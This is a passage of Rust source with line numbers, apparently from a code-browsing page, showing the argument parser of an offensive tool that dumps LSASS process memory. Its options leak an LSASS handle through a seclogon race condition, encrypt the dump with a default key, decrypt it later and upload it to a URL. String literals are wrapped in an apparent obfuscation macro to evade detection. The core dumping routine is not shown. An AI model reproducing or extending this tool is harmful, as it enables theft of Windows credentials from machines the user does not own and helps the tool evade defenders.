()
| 17 | } |
| 18 | |
| 19 | fn start() { |
| 20 | |
| 21 | let mut force = false; |
| 22 | let mut upload = "".to_string(); |
| 23 | let mut key = lc!("1234abcd"); |
| 24 | let mut output = lc!("c:\\temp\\output.txt"); |
| 25 | let mut input = lc!("c:\\temp\\input.txt"); |
| 26 | |
| 27 | let args: Vec<String> = env::args().collect(); |
| 28 | let program = args[0].clone(); |
| 29 | let mut opts = Options::new(); |
| 30 | opts.optflag("h", "help", "Print this help menu."); |
| 31 | opts.optflag("", "dump", "Dump lsass."); |
| 32 | opts.optflag("", "decrypt", "Decrypt a previously generated dump file."); |
| 33 | opts.optflag("f", "force", "Force seclogon's service to leak a lsass handle through a race condition."); |
| 34 | opts.optopt("k", "key", "Encryption key [default: 1234abcd]", ""); |
| 35 | opts.optopt("i", "input", r"Encrypted dump file [default: c:\temp\input.txt]", ""); |
| 36 | opts.optopt("o", "output", r"Destination path [default: c:\temp\output.txt]", ""); |
| 37 | opts.optopt("u", "upload", "Upload URL", ""); |
| 38 | |
| 39 | |
| 40 | let matches = match opts.parse(&args[1..]) { |
| 41 | Ok(m) => { m } |
| 42 | Err(_) => {print!("{}",lc!("[x] Invalid arguments. Use -h for detailed help.")); return; } |
| 43 | }; |
| 44 | |
| 45 | if matches.opt_present("h") { |
| 46 | print_usage(&program, opts); |
| 47 | return; |
| 48 | } |
| 49 | |
| 50 | if matches.opt_present(&lc!("dump")) |
| 51 | { |
| 52 | |
| 53 | if matches.opt_present("u") |
| 54 | { |
| 55 | upload = matches.opt_str("u").unwrap(); |
| 56 | } |
| 57 | if matches.opt_present("f") |
| 58 | { |
| 59 | force = true; |
| 60 | } |
| 61 | if matches.opt_present("k") |
| 62 | { |
| 63 | key = matches.opt_str("k").unwrap(); |
| 64 | } |
| 65 | |
| 66 | dumper::dump(&key, &upload, force); |
| 67 | |
| 68 | } |
| 69 | else if matches.opt_present(&lc!("decrypt")) |
| 70 | { |
| 71 | |
| 72 | if matches.opt_present("i") |
| 73 | { |
| 74 | input = matches.opt_str("i").unwrap(); |
| 75 | |
| 76 | } |
no test coverage detected